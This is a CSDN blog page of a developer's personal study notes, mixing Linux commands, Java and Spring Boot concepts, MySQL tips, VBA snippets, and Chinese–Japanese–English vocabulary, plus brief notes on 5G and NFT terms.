spring boot集成mybatis,启动报无法创建dataSource问题_jack_chow的博客-CSDN博客
32.LoadRunner // 负荷测试 // 需要脚本 // 需要安装 // 需要软件的license (许可证)
33.nmon // CPU使用,MEMORY使用,RunQueue数
34.pending 未决的,未定的,待定的;迫近的
35.ワクチン 疫苗 // コロナのワクチン接種 // 07/14
36.ps -elf与ps aux是一样的意思, 显示所有在运行的进程,
【ps -aux】 标准格式输出,
【ps -elf】 bsd的格式输出.
标准格式: USER , PID , %CPU , %MEM , VSZ , RSS , TTY , STAT , START , TIME , COMMAND
bsd格式: F,S,UID , PID , PPID , C , STIME , TTY , TIME , CMD
// 都是 按照PID顺序排列
37.#!
#!是特殊的表示符 //Linux //注意,不要有多余的空格
#!/bin/sh是指此脚本使用/bin/sh来解释执行,
#!/bin/bash是指此脚本使用/bin/bash来解释执行
(默认是,/bin/bash)
・查看方式,echo $SHELL
第二篇、linux的默认shell查看方式._圆哥哥纳丶的博客-CSDN博客
・区别
关于#!/bin/bash和#!/bin/sh_好习惯成就伟大-CSDN博客_bin/bash
38.Jenkins
マイビュー(My View)
リストビュー(List View) (該当項目を選択して、Viewを作成して、各プロジェクトを区別する)
https://blog.csdn/shi_hong_fei_hei/article/details/111936258
39.リリース管理簿 かんりぼ
40.JDK 下载
Oracle Java Archive
Java Archive Downloads - Java SE 8u211 and later
41.集成测试:(IT/AT/结合测试)
完成单元测试后,各模块联调测试;
集中在各模块的接口是否一致、各模块间的数据流和控制流是否按照设计实现其功能、以及结果的正确性验证等。
测试方法一般选用黑盒测试和白盒测试相结合。
42.系统测试:(ST)
针对整个产品的全面测试,既包含各模块的验证性测试和功能性测试,又包括对整个产品的健壮性、安全性、可维护性及各种性能参数的测试。
系统测试测试软件《需求规格说明书》中提到的功能是否有遗漏,是否正确的实现。
做系统测试要严格按照《需求规格说明书》,以它为标准。测试方法一般都使用黑盒测试法。
43.Java启动参数
Java启动参数共分为三类;
其一是标准参数(-),所有的JVM实现都必须实现这些参数的功能,而且向后兼容;
其二是非标准参数(-X),默认jvm实现这些参数的功能,但是并不保证所有jvm实现都满足,且不保证向后兼容;
其三是非Stable参数(-XX),此类参数各个jvm实现会有所不同,将来可能会随时取消,需要慎重使用;
----
java -verbose:gc -Xloggc:/AAA/BBB/aaa-gc.log -XX:+PrintGCDetails -XX:+PrintGCDateStamps -jar /XXX/XXX/xxxx.jar --server.port=8081
命令行,使用java的java 命令,直接调用执行class文件_sun0322-CSDN博客_java 运行class文件
------
■2021/7/23以降整理
1.YYYY是表示:
当天所在的周属于的年份,一周从周日开始,周六结束,只要本周跨年,那么这周就算入下一年。
2.cron
crontab -l // 查看一览
cat /etc/crontab // 查看定义方法
linux定时任务cron配置 - controlV - 博客园
3.glassfish sessiontimeout
domainXX/config/domain.xml | grep -Hn timeout
4.responseURL
response.sendRedirect(URL) // java // HttpServlet.java
ajaxObject.responseURL // JS // IE is Not Support
5.responseURL // IE is Not Support // Ajax
----
XMLHttpRequest.responseURL - DOM - W3cubDocs
XMLHttpRequest.responseURL - Web APIs | MDN
----
6.getResponseHeader
response.setStatus(302); // 不写也可以
response.setHeader("location","url");
ajaxObject.getResponseHeader('location');
XMLHttpRequest.getResponseHeader - DOM - W3cubDocs
7.conflicts 英[kənˈflɪkts] // 冲突; 争执; 争论; // git 競合
8.Alignmenter 对齐,调整误差
9.systemctl status firewalld // linux 服务
10.java -Dloader.path=/AA/BB/CC/LIB -jar XXX.jar
11.缩写 // Linux 命令
Linux常见命令缩写 - mvpbang - 博客园
12.curl
・使用curl发送GET请求:curl protocol://address:port/url?args
・使用curl发送POST请求: curl -d "args" protocol://address:port/url
(curl -d "user=admin&passwd=12345678" http://127.0.0.1:8080/login)
・参数直接在header里面的,如需将输出指定到文件可以通过重定向进行操作.
(curl -H "Content-Type:application/json" -X POST -d 'json data' URL)
13.find
查找文件更新日时在距现在时刻二天以内的文件
find ./ -mtime -2
查找文件更新日时在距现在时刻二天以上(以前,之前)的文件
find ./ -mtime +2
查找文件更新日时在距现在时刻24小时之前的文件
find ./ -mtime +0
14.sensitive [ˈsɛnsɪtɪv] // case sensitive 大小写敏感
15.cp -i :若目的檔(destination)已经存在时,在覆盖时会先询问是否真的动作!
16./dev/null 空设备
tail -f /dev/null 让进程一直处于阻塞状态(即,不退出)
17.502 503
服务器常见错误代码500、501、502、503、504、505_总有些事,值得你去努力-CSDN博客
18.jobs -l // 夜间batch执行了 [xxx.sh &], 第二天,打开一个断面,执行此命令,什么也没有
jobs是查看当前后台作业(进程),是获取本次bash下的后台作业。
当本次终端退出后,后台作业变成孤儿进程,孤儿进程有系统父进程接管。
当再次连接终端时,原作业与当前终端,不存在关系父子关系,故看不到进程。
但是原作业,会在系统中一致运行,直到完成或被停止。
这就是为什么终端退出后,jobs看不到的原因了
19.ps -aux
psコマンドまとめ - Qiita
VSZ:指的是进程内存空间的大小,并不代表进程真正用到的内存,因为有些空间会仅在页表中挂个名,也就是说只是虚拟存在着,只有真正用到的时候内核才会把虚拟页面和真正的物理页面映射起来。比如,(malloc或mmap的调用),由于程序中并没有用到这些内存,没有物理内存被分配,也就不应算到进程的帐上。
RSS:(resident set size)表示常驻内存的大小,但是由于不同的进程之间会共享内存,所以把所有进程RSS进行累加的方法会重复计算共享内存,得到的结果是偏大的。
20.rpm // Linux インストールファイル
21.robocopy 2 1 /purge
./1 含有过长文件
./2 新建一个文件夹
robocopy <source> <destination>
/purge 删除源中不再存在的目标文件和目录
robocopy | Microsoft Docs
22.purge 英 [pɜːdʒ] 清除,清洗
23.401 Unauthorized
24.authorized [ˈɔːθəˌraɪzd] 权威认可的,经授权的
25.export [ˈɛkspɔːt] 输出,出口;
26.curl -X GET -H "sss" "http://sss"
27.-exec rm -rf // 区别 xargs
rm -rf - 春风一郎 - 博客园
28.Apache {Referer} //Log 每个页面的请求
29.GitHub操作 // 权限
GitHub 私人private仓库添加成员(协作者Collaborators)_不再更新,新博客 chgl16.space-CSDN博客_github 私人仓库怎么允许别人访问
30.とっぱん 凸版
31.RestTemplate // SpringFramework HttpRequest
32.BackQuote バッククォート 返单引号
33.java.time.LocalDateTime
LocalDateTime ldt = LocalDateTime.now();
ldt.plusMonths(5);
ldt.plusDays(5);
34.java.time.format.DateTimeFormatter
ldt.format(DateTimeFormatter.ofPattern("yyyyMMdd"))
35.refere (//http请求中的信息(Request Headers) // Apache log %r)
作用:HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,
例:从主页上链接到一个朋友那里,他的服务器就能够从HTTP Referer中统计出每天有多少用户点击我主页上的链接访问他的网站。
(Refer: http://sss/sss/ss)
补充:(Referer的正确英语拼法是referrer。由于早期HTTP规范的拼写错误,为了保持向后兼容就将错就错了)
referrer 引用页; 引荐; 来源页面; 推荐人; 来路;
36.Apache Access Log
Apache日志配置参数详细说明 - EasonJim - 博客园
%U: 用户所请求的URL路径
%s: 状态。对于进行内部重定向的请求,这是指*原来*请求 的状态。如果用%…>s,则是指后来的请求。
Apache 记录请求响应时间日志 - 高艳兵 - 博客园
%D - 官方解释:Time taken to process the request, in millis,处理请求的时间,以微秒为单位
%T - 官方解释:Time taken to process the request, in seconds,处理请求的时间,以秒为单位
%{ms}T - 官方解释:Time taken to commit the response, in millis,提交响应的时间,以毫秒为单位
37.logging.level.ROOT
//application.properties
// org.springframework.boot.logging.LoggingSystem
38.logback
// Spring boot 默认使用 logback作进行日志输出。
// org.springframework.boot.logging.logback.LogbackConfigurator
// org.springframework.boot.logging.logback.LogbackLoggingSystem
logging.level.root不起作用(spring Boot)-Java 学习之路
39.ResourceBundleMessageSource // 对于支持国际化的应用程序,它需要能够为不同的语言环境解析文本消息。
40.@PostConstruct
// :@PostConstruct该注解被用来修饰一个非静态的void()方法。
// 被@PostConstruct修饰的方法会在服务器加载Servlet的时候运行,并且只会被服务器执行一次。
// 应用,LogFactory
@PostConstruct注解_致终将逝去的编程青春-CSDN博客
41.slf4j.LoggerFactory
42.spring 配置文件 加载
// SpringBoot配置文件默认为application.*和application-default.*,
// 如果通过spring.config.name属性指定了自定义配置文件名则加载读取指定的配置文件;
// 扩展名有四个:*.properties、*.xml、*.yml、*.yaml;
43.spring 配置文件 加载顺序
// application.properties
// logback-spring.xml
// 可以使用application.properties中的属性,不如【logging.file】
Spring Boot 使用 spring.profiles.active 来区分不同环境配置_长安明月的博客-CSDN博客_spring.profiles.active
44.logback-spring.xml
// <springProfile name="UT | IT | ST">
// <logger name="com.sxz.service" level="INFO" additivity="false">
45.spring.profiles.active
// spring boot允许你通过命名约定按照一定的格式(application-{profile}.properties)来定义多个配置文件,
// 然后通过在application.properyies通过spring.profiles.active来具体激活一个或者多个配置文件
// 开发环境
// java -jar app.jar --spring.profiles.active=dev--server.port=8060
// 测试环境
// java -jar app.jar --spring.profiles.active=qa --server.port=8060
// 生产环境
// java -jar app.jar --spring.profiles.active=prod --server.port=8060
46.YML 配置文件横线 “-” 的作用
// 合类型属性 // List
// spring.profiles.spring.profiles.active 设置值时,前面要写 -
spring.profiles:
active:
- prod
// 定义在YMLファイル里面,还需要创建其他的文(application-{profile}.properties)件才有意义。
Spring Boot 使用 spring.profiles.active 来区分不同环境配置_长安明月的博客-CSDN博客_spring.profiles.active
47.apachect1 configtest
48.lsof -i:80
49.内容を修正しておきます。我会修改内容。
50.連絡させてくだいさい。请让我联系一下
51.Unicode \uAAAA 两个字节,
52.・SpringWeb.jar
@SessionAttributes
若希望在多个请求之间共用数据,则可以在控制器类上标注一个
@SessionAttributes,配置需要在session中存放的数据范围,
Spring MVC将存放在model中对应的数据暂存到HttpSession 中。
@PostMapping
@GetMapping
53.删除表时,表中的触发器会被同时删除吗
删除表触发器肯定被删除了,触发器是针对表的,表没了,触发器自然消失了,没有表可以依赖了
54.@Target(ElementType.TYPE) // 接口、类、枚举、注解
@Target(ElementType.TYPE) // 接口、类、枚举、注解
55.GC分类
Full GC (MeateData GC Threshold) // 系统启动时频发
Full GC (System.gc()) // 每3600秒一次
56.delimiter //mysql相关
delimiter //
delimiter ;
以【//】作为分隔符,代表SQL的结束。替代之前的【;】
通常使用在存在过程的开始与结尾。
※:以命令行的形式,连接到数据后执行。(直接在工具中执行不好用,比如A5)
■2021/8/14以降整理(Java 学习)
01.cron
查看用户下的定时任务:crontab -l或cat /var/spool/cron/用户名
编辑(Vi):cron -u 用户名 -e
编辑之后,不需要重新启动服务
前提,需要启动服务
/sbin/service crond start //启动服务
linux定时任务cron配置 - controlV - 博客园
02.NFS挂载
showmount -e localhost #查询本机nfs共享目录情况
/AAA/BBB/CCC 192.168.1.122/24,192.168.1.123/24
(对 192.168.1.122,192.168.1.123者两个IP地址共享此目录)
前提,需要启动服务
service rpcbind start
service nfs start
Linux NFS挂载 - 整合侠 - 博客园
03.ICMS MYSQL
04.累積 るいせき
05.Reference [ˈrɛfərəns] 引用 // java
06.Reflection [rɪˈflɛkʃən] 反射 // java
07.日次 ひつぎ
08.進捗最優先 (「手空なし、調整のため、進捗遅延になる」良くないこと、不正確なこと)
09.immutable [ɪˈmjuːtəbəl] adj. 永远不变的 // java String
ーーー
10.protected public // java
11.方法签名与方法重载
java 平台靠方法的签名来区分方法。方法签名由方法名和方法参数类型组成。
当一个类中有两个或多个具有相同方法名和不同的参数类型的方法时,就是重载。
12.switch case
当每一个case都不存在break时,匹配成功后,从当前case开始,依次返回后续所有case的返回值。
java中的switch case语句 - fcyh - 博客园
13.throws throw
14. try catch finally 顺序
java中 有return 的情况,return以及try,finally代码块的执行顺序_sun0322-CSDN博客
15.LocalDateTime // JDK1.8 // java // 时间 java.time
16.try-with-resources
【JDK8】try-with-resources & AutoClosable - 飞翔在天 - 博客园
17.AutoCloseable
try-with-resources 要求关闭的资源必须实现AutoCloseable接口
---
18.Linux 查看目录所占用空间大小
du -sh DirPath
files — ファイルのduのみでサイズを取得する
19.logback //spring
使用logback输出日志,自定义输出格式__William_Cheung的博客-CSDN博客
20.mysql -e 'select xxx from xxx where xxx'
21.which sss
查看执行文件的位置
(搜索某个系统命令的位置,并且返回第一个搜索结果。
也就是说,使用which命令,就可以看到某个系统命令是否存在,以及执行的到底是哪一个位置的命令。 )
which sss
/bin/sss
22.软连接(创建) シンボリックリンク
ln -s /AAAA/BBBB/CCC/DDD/sss /bin/sss
23.软连接(删除)
ulink /bin/sss
24.Python Linux
Linux系统安装Python3环境(超详细)_L-CSDN博客_linux安装python
25.Supplier 英 [səˈplaɪə] n. 供应者;供应国;供应商 // Java 接口函数
26.Function // Java 接口函数
27.Predicate 英 [ˈprɛdɪˌkeɪt; ˈprɛdɪkɪt] adj. 谓语的 v. 断言;使…基于 // Java 接口函数
28.Consumer // Java 接口函数
Java学习(更新中)_sun0322-CSDN博客
29.decimal 英 [ˈdesɪməl] n. 小数 adj. 十进位的;小数的 // Java Big Decimal
Java学习(更新中)_sun0322的博客-CSDN博客
30.Suppress [səˈprɛs] 制止;镇压;平定;// java @SuppressWarnings
// 所标注内容如果产生警告,指示编译器去忽略注解中声明的警告。
31.surprise [səˈpraɪz] 惊奇,诧异;
32.agenda 英 [əˈdʒendə] (会议的)议程表,议事日程;)
33.Consumer、customer区别
====
・consumer是买了商品,而使用某某商品的人,
・customer只是指买该商品的人但不证明他/她有使用该商品的人.
====
34.Consumer [kənˈsjuːmə] 消费者,顾客 // Java 接口函数
35.customer /ˈkʌstəmə/ 顾客
36.・Qualifier 英 [ˈkwɒlɪˌfaɪə] n. 合格者;修饰语;预选赛 // Spring // use with Autowired
public class TestServiceImpl {
@Autowired
@Qualifier("userDao")
private UserDao userDao;
}
37.@Autowired // @Autowired是由Spring框架自身提供的
// @Autowired按byType自动注入,而@Resource默认按 byName自动注入
38.javax.annotation.Resource // @Resource 不是Spring自带的注解
public class TestServiceImpl {
// 下面两种@Resource只要使用一种即可
@Resource(name="userDao")
private UserDao userDao; // 用于字段上
@Resource(name="userDao")
public void setUserDao(UserDao userDao) { // 用于属性的setter方法上
this.userDao = userDao;
}
}
39.・javax.inject.Inject // @Inject同样不是Spring自带的注解
@Inject
@Named("namedBean")
private MyClass MyClass;
40.在SpringBoot开发中,当一个接口A有多个实现类时,spring会很智能的将bean注入到List<A>或Map<String,A>变量中。
@Autowired
Map<String, IPerson> personMaps;
key是Bean的【Name】; Value是Bean的对象
SpringBoot中 使用@Autowired 将bean注入到List或Map等集合中_IT- 研究者-CSDN博客_springboot 注入list
41.join()的使用场景
在很多情况下,主线程创建并启动子线程,如果子线程中要进行大量的耗时运算,
主线程将可能早于子线程结束。如果主线程需要知道子线程的执行结果时,
就需要等待子线程执行结束了。主线程可以sleep(xx),但这样的xx时间不好确定,
因为子线程的执行时间不确定,join()方法比较合适这个场景。
Thread之三:Thread Join()的用法 - duanxz - 博客园
即,主线程等待子线程的终止。
也就是说主线程的代码块中,如果碰到了t.join()方法,
此时主线程需要等待(阻塞),
等待子线程结束了(Waits for this thread to die.),
才能继续执行t.join()之后的代码块
42.レトロフィット
(【英】retrofit;给机器设备装配(新部件); 翻新; 改型)
43.TimeUnit.SECONDS.sleep(55);
-----
TimeUnit.SECONDS(5)线程等待五秒
TimeUnit.MILLISECONDS(5000)线程等待五秒.
两者的时间单位不一样。
内部都是Thread.sleep实现
------
44.ずつ
毎日2時間ずつ勉強する // 每天学习两个小时
45.頭痛 ずつう
46.クリップボード 粘贴板 (Ctrl +c)
■2021/9/1以降整理
1.SQL 表连接
left join(左联接) 返回包括左表中的所有记录和右表中联结字段相等的记录
right join(右联接) 返回包括右表中的所有记录和左表中联结字段相等的记录
inner join(等值连接) 只返回两个表中联结字段相等的行
17MyCat - 分片join(join 的概述)_阿甘兄-CSDN博客
2.Linux单引号
’单引号括起来的字符都作为普通字符出现。特殊字符用单引号括起来以后,也会失去原有意义
'${AAA} ssss' 不会输出变量的值
Unix_Linux_常用命令总结_sun0322-CSDN博客
3.输出两天之前的日期
date1=`date +%Y%m%d --date='2 days ago'`
date1=`date +%Y%m%d --date=“2 days ago”`
// 也可以使用双引号,这样数字 2 的部分就可以使用变量了 ${DAYS}
4.propagation [ˌprɒpəˈɡeɪʃən] 传播;繁殖,增殖 // spring 事物传播设置
5.repeatable [ri'pi: təbl] 可重复的 ( 实验、 实验结果等) 可复验的
// mysql 默认的事物 隔离级别(事物内,每次的查询结果都相同)
// 事物隔离相关的设置
有四种事物隔离级别
6.UNC(Universal Naming Convention)
UNC路径就是类似\\softer这样的形式的网络路径。
格式: \\servername\sharename ,其中 servername 是服务器名,sharename 是共享资源的名称。
使用,cmd cd跳转目录时,会出现"CMD does not support UNC paths as current directories."的提示
解决方案1
pushd,使用"pushd unc_path"可以将UNC路径映射成本地的Z盘
执行该命令后,下一个提示符就不是原来的C:\>,而是Z:\>,即已经映射成功的UNC路径。
别忘了使用【popd】将映射断开。断开后,提示符又变成了原来的C:\>
CMD does not support UNC paths as current directories.的巧妙解决方案 - ini_always - 博客园
解决方案2
使用powershell
cd "unc_path"
7.Universal [ˌjuːnɪˈvɜːsəl] 全世界的 adj. 普遍的,共同的;广泛适用的 // UNC PATH
8.Convention [kənˈvɛnʃən] n. 大会;习俗,惯例;传统风格;协定 // UNC PATH
9.conflicts [kənˈflɪkts] 冲突// Git Merge 競合(きょうごう)
10.查看所有存储过程 // mysql
select name from mysql.proc where db = 'XXX' and type = 'PROCEDURE'
11.・「単項演算子が予期されます」を抑制する
if [ $RETCODE -ne 0 ]; then
...
fi
// RETCODE 如果没有被设定初期值,则会出现如上错误。
「単項演算子が予期されます」を抑制する – Information
12.蓄積 ちくせき 知識蓄積
13.畜生 ちくしょう
14.Spring
Spring IoC是一个容器。它是装对象的。
主要就是通过搜索class的路径。找出bean对象,实际就是根据反射来获取这个bean对象
Class<?> classit=Class.forName("com.jinglin.model.Person");
Person p =(Person)classit.newInstance();
15.IOC
Inversion of Control
控制反转的容器。
把对象的获取的主动权交出去(不是技术,而是一种设计思想。)
传统Java SE程序设计,我们直接在对象内部通过new进行创建对象,是程序主动去创建依赖对象;
而IoC是有专门一个容器来创建这些对象,即由Ioc容器来控制对 象的创建;
16.DI
DI—Dependency Injection 依赖注入
IoC的一个重点是在系统运行中,动态的向某个对象提供它所需要的其他对象。
这一点是通过DI(Dependency Injection,依赖注入)来实现的。
17.Inversion [ɪnˈvɜːʃən] n. 倒转,否定,倒置
18.AOP
AOP (Aspect Orient Programming), 面向切面编程(AOP 是一种编程思想)
AOP 领域中的特性术语:
-------------------
通知(Advice): AOP 框架中的增强处理。通知描述了切面何时执行以及如何执行增强处理。
连接点(join point): 连接点表示应用执行过程中能够插入切面的一个点,这个点可以是方法的调用、异常的抛出。在 Spring AOP 中,连接点总是方法的调用。
切点(PointCut): 可以插入增强处理的连接点。
切面(Aspect): 切面是通知和切点的结合。
引入(Introduction):引入允许我们向现有的类添加新的方法或者属性。
织入(Weaving): 将增强处理添加到目标对象中,并创建一个被增强的对象,这个过程就是织入。
-------------------
Spring AOP——Spring 中面向切面编程 - SharpCJ - 博客园
---
---
19.primary 英 [ˈpraɪmərɪ] // spring //sql
n.首选(@primary // spring);候选人初选会;预选;原色
adj. 初级的;基本的;最早的,原始的;原生的;首要的,主要的(primary key // sql)
// 常使用@Autowired, 默认是根据类型Type来自动注入的。
// 有可能产生歧义,使用@primary可以消除歧义
@Primary_javashareauthor的博客-CSDN博客_java primary
20.Optional adj. 可选择的;选修的;随意的,任意的 // Java8 Sytream (findFirsit等方法的返回值类型,允许对象为空) 使用get方法获取对象
21.option n. 选择权;选项;选修课
22.present // Java8 Optional.isPresent 出席的,在场的 (对象为空时,返回false)
adj. 目前的,现在的;出席的,在场的;现在时态的
v. 赠送;提出;介绍;举枪瞄准;呈现
n. 礼物;现在
23.awk
取得第二个目录的名字
pwd | awk -F'/' '{print $3}'
※:注意引号的使用
F:field-separator
24.Team中复制,tab变成了space
範囲選択をしてコピーをする際に、TABがスペースになるのですがこれをTABのままコピーバッファに入れることは出来ないでしょうか。
チケット #33717: TAB文字をTABとしてコピー - Tera Term - OSDN
25.diff a.txt b.txt
< a.txt中,差异的部分
---
> b.txt中,差异的部分
26.Linux 特殊符号【;】
if [ "$PS1" ]; then echo test is ok; fi
需要两个分号才为正确的语句,
第一个分号是then前的分号,用于标识条件块结束,
第二个分号在fi前,用于标识then块结束,
如果缺少这两个分号,则程序执行错误。
※:注意:语句结尾不要分号。
27.shell case
shell中case_shell case 等于_程宇寒的博客-CSDN博客
case 语句以"case"开头,以"esac"结尾。
在每个分支程序之后要以";;"(双分号)结尾,代表该程序段结束(千万不要忘记)。
28.Thymeleaf [taim li:f] // spring boot 前台
(thyme 英[taɪm] 百里香(一种植物,叶小,有香味,可作烹饪调味品); leaf 叶; 叶片; 叶子; 有)
Spring官方支持的服务的渲染模板中,并不包含jsp。
而是Thymeleaf和Freemarker等,
而Thymeleaf与SpringMVC的视图技术,及SpringBoot的自动化配置集成非常完美,几乎没有任何成本,你只用关注Thymeleaf的语法即可。
Thymeleaf入门到吃灰 - 鞋破露脚尖儿 - 博客园
史上最详 Thymeleaf 使用教程 - 技术经验 - W3xue
29.getInstance
这是单例模式,一般用于比较大,复杂的对象,只初始化一次,
应该还有一个private的构造函数,使得不能用new来实例化对象,
只能调用getInstance方法来得到对象,
而getInstance保证了每次调用都返回相同的对象。
30.ポジション position;地位,职位。
31.accuracy [ˈækjʊrəsɪ] n. 准确(性),准确无误
32.rank [ræŋk] n. 排;等级;军衔;队列;行列
33.date_sub(d, INTERVAL expr type)
MySQL计算日期的函数DATE_SUB(d,INTERVAL expr type)_Java 小菜鸟-CSDN博客
34.cp -ip
询问是否覆盖文件时,必须输入 Y 才能覆盖。
直接回车,无法覆盖文件。
■2021/9/13以降整理
1.SQL関数
str_to_date("20210901","%Y%m%d")
2.VBA条件分支(ELSEIF之间没有空格)
IF 条件 then
ELSEIF 条件 then
。。。
ELSEIF 条件 then
。。。
ELSE
。。。
End If
3.innovation [ˌɪnəˈveɪʃən] n. 革新,改革;新方法;新制度
4.society [səˈsaɪətɪ] n. 社会;社团;社交界;交往;
---
5.situation [ˌsɪtjʊˈeɪʃən] 情况;状况;局面;
6.solution [səˈluːʃən] 解答;解决方案;溶液;溶解
7.benefits [benifits] 优势,益处,成效
---
8.industry [ˈɪndəstrɪ] 企业,行业;
9.poverty [ˈpɒvətɪ] n. 贫穷;贫乏;低劣
10.collaborate [kəˈlæbəˌreɪt] 合作;勾结
11.Microsoft Edge(エッジ)
12.[.msu] 后缀 // windows系统安装包
13[.msi] 后缀 // windows系统,Edge安装包
14.bat运行失败的原因,目录中含有「英数」之外的文字
15. 坑 Eclipse 格式化 XML文件时, <item>s a</item> 半角空格会变为全角空
16.知识点:xml可以复制到Excel中。按所有的项目,列出每一列。
17.Generic 泛型
•常用的泛型标识:T、E、K、V
类名<具体数据类型> 对象名 = new 类名<>();
1.7之后,不再推荐 【。。。new 类名<具体数据类型>()】这种写法
package com.sxz.test;
import java.util.ArrayList;
import java.util.List;
public class TestStreamAPI {
public static void main(String[] args) {
List<Integer> list= new ArrayList<>();
list.add(1);
list.add(2);
list.add(3);
list.add(4);
list.add(5);
list.add(6);
list.stream().forEach(item -> {
System.out.println("item="+item);
});
}
}
18.inflating // unzip 膨胀
19.mysql创建索引(大数据)
4000万条数据创建索引需要多长时间?-CSDN论坛
20.NoMergeBaseException // Eclipse Git
eclipse - EGit - more than 200 bases exception on merge - Stack Overflow
21.MySQL Explain详解
MySQL Explain详解 - 杰克思勒(Jacksile) - 博客园
22.vi、vim (which)
・vi编辑器是所有Unix及Linux系统下标准的编辑器。
・vim 具有程序编辑的能力,可以以字体颜色辨别语法的正确性,方便程序设计;
vim可以当作vi的升级版本,他可以用多种颜色的方式来显示一些特殊的信息。
23.which 哪一个 // Linux 命令
24.switch 开关 // java switch case
25.查看trigger 一览
SELECT trigger_schema,trigger_name FROM information_schema.triggers;
(一览显示效果,比show trigger 效果更好)
26.查看含有某些关键字的Trigger
show triggers where statement like '%KEY_WORD%';
(比如存储过程的关键字,Trigger调用存储过程)
(Trigger时属于数据库的,要先切换DB use XXX)
27.outlook中间区域看不到邮件正文,只显示了邮件列表
视图 ⇒ 阅读窗格 ⇒ 选择“向右” 即可
(表示 ⇒ レイアウト⇒ 閲覧レイアウト ⇒ 右(R))
28.閲覧(えつらん)
29.mkdir m755 TEST_FOLDER // OK 没有问题(m755 可以没有空格)
30.割当 分摊。分配。分担(量)。分派。
31.差し戻し 退回。上交的文书、案件等被退回 // 差戻し
32.国慶節(こっけいせつ)
33.formula 英[ˈfɔːmjələ] 公式; 方程式; 计算式; 分子式; 方案; 方法;
■2021/10/06以降整理 (5G , SpringBoot)
01.SSD 固态硬盘(Solid State Disk或Solid State Drive)
02.购买固态硬盘,需要满足的条件
-----------------------
1 :主板上带有m.2接口
2:接口支持2280规格
3:支持对应的m.2协议(sata协议或者nvme协议。)
-----------------------
03.TMP2.0 (Trusted Platform Module)// 硬件 // win11
(开机F2 (进入主板设置) --- settings ---secunty --- Trusted Computing )
04.SPM (super position model) // 统计页面的PV
SPM 超级位置模型_简简单单Onlinezuozuo-CSDN博客_spm埋点
SPM需要解决的问题
统计页面的PV
追踪页面来源
记录来源页面的触发链接
---
例:统计投放效果
如一个双11的广告页需要投放到微博、知乎和优酷等渠道,
只需要为每个渠道指定一个编码,
后续可以统计每个渠道的投放效果,事后按流量计费进行费用结算。
05.命令history // Linux
在“~/.bash_history”(“~/”表示用户目录)文件中保存了n条,之前使用过的命令
(貌似只有root用户下面,才有这个文件)
06.遅くとも 最晚,至迟
遅くとも月曜日までには帰る
遅くとも明日中には返事をする
07.レトロフィット retrofit;给机器设备装配(新部件); 翻新; 改型
08.コミュニケーション時注意点
【提案時】
1.品質に対して、考慮。(連絡人に、影響なしこと伝えて)
2.お客様に対して、考慮。(もし、以前決定したこと(例:STケース)変更なら、どのように説明します。)
3.上記「1、2」があるの場合、直接「提案記載して連絡しない」、電話の方式で確認方がいい。
【作業ミスある時】
1.「申し訳ございません。」で連絡します。
2.連絡時、自分のミスを承認します。
09.mysql timestamp datetime
MySQL中datetime和timestamp的区别及使用_MrHuang-CSDN博客
10.修改【图表】的【数据源】的据范围
ActiveChart.SetSourceData Source:=Range:=Range("B2:F2222")
Excel 修改 【数据图表】 的 【数据源】 的范围 (VBA)_sun0322-CSDN博客
---
※:前提:图表已经做好(即,那些数据列 在图表中显示,已经设定好了)
录制一个宏
宏中只保留上记一行代码
选择图表,使用快捷键,运行宏
※:范围说明
"B2:F2222" (如果纵轴只显示 D列的数据, 也选择全部的数据范围)
⇒ 第二行是标题行,第三行开始是数据
⇒ B列是横轴的内容
---
11.INTVL // interval [ˈɪntəvəl] // 间隔;间距;幕间休息;区间
// バッチ起動 08:00~17:00 ※30分おき // A-AUTO
12.Defender [dɪˈfendər] // 防守者; 后卫; 防守队员; 守卫者; 保护人; 防御者;
Defender // 杀毒软件
23.準ずる じゅんずる // 准,以……为标准,按照,依照。遵从某根据
14.キューイング // 插入字幕(电视节目中);嵌入;尾接
// A-AUTO 夜間バッチ、まだ実施されない、「監視一覧チャート」で表示されない(今はまだキューイングされてないです)。
15.IOException: (line 1) invalid char between encapsulated token and delimiter
相关类:
org.apachemons.csv.CSVFormat
org.apachemons.csv.CSVParser
org.apachemons.csv.CSVRecord
org.apachemons.csv.CSVRecordIterator
原因:处理的数据中含有双引号
「...,"aaa","bbb","cc\"cc","ddd"...」
「...,"aaa","bbb","cc\"cc","ddd"...」
16.エクスペリエンス experience ;经验。(経験、体験といった意味。)
5G
17.大规模MIMO (massive MIMO) // 5G
其定义为在发射端和接收端分别使用多个发射天线和接收天线,使信号通过发射端与接收端的多个天线传送和接收,从而改善通信质量。
5G大规模MIMO技术_cebiaoshu0745的博客-CSDN博客
18.波束形成技术(beamforming) // 5G
目的:使多元阵构成的基阵经过适当处理得到在预定方向上的指向性。
意义:对于一个发射系统,具有指向性意味着发射能量可集中在某一方向,这样可以用较小的发射功率他侧更远距离的目标;对于一个接收系统,可以使系统定向接收,从而抑制其他方向的信号个干扰,准确测定目标方位。
方法:对各个阵元进行处理(加权、延时、求和等)形成空间指向性。
【实验5】——波束形成技术_朱坚强的博客-CSDN博客_波束形成技术
19.排 platooning // 5G
Platooning 技术可以尽可能缩短卡车之间的距离,减小后面卡车受到的风阻,以此来省油。
(包括车辆编队行驶(Vehicles Platooning)、
20.像素流 pixel streaming // 5G
PixelStreaming自UnrealEngine4.21版本开始提供测试,能够向Web浏览器发送高质量的可视化内容,让移动设备和轻量级Web浏览器能够轻松浏览工作站品质的3D图形。
PixelStreaming 局域网及公有云部署全流程记录 - 知乎
21.5G与边缘计算 (5G and edge computing ) // 5G
5G与边缘计算_u010199413的专栏-CSDN博客
22.物联网
23.块链
24.同质化代币
FT(Fungible Token),相互能够替换、可接近无穷拆分的token。
(fungible adj. 可代替的;【法】可互换的)
25.非同质化代币(NFT)
非同质化代币,具有不可分割、不可替代、独一无二等特点。
26.mysql datetime与timestamp区别
mysql datetime与timestamp区别_wangjun5159的专栏-CSDN博客_mysql timestamp和datetime区别
datetime与时区无关、timestamp与时区有关
show variables like ‘%time_zone%’
set time_zone ='+0:00'
date,时分秒都存储了,但只显示日期。对应Java中的java.sql.Date
SpringBoot
27.SpringBootApplication
SpringBoot启动类@SpringBootApplication注解背后
SpringBoot启动类@SpringBootApplication注解背后的秘密_怪咖软妹@的博客-CSDN博客_springboot启动类
1、@Target(ElementType.TYPE)
2、@Retention(RetentionPolicy.RUNTIME)
3、@Documented
4、@Inherited
5、@SpringBootConfiguration
6、@EnableAutoConfiguration
7、@ComponentScan
28.SpringBootApplicationd的替代
@Configuration
@EnableAutoConfiguration
@ComponentScan
29.@Configuration
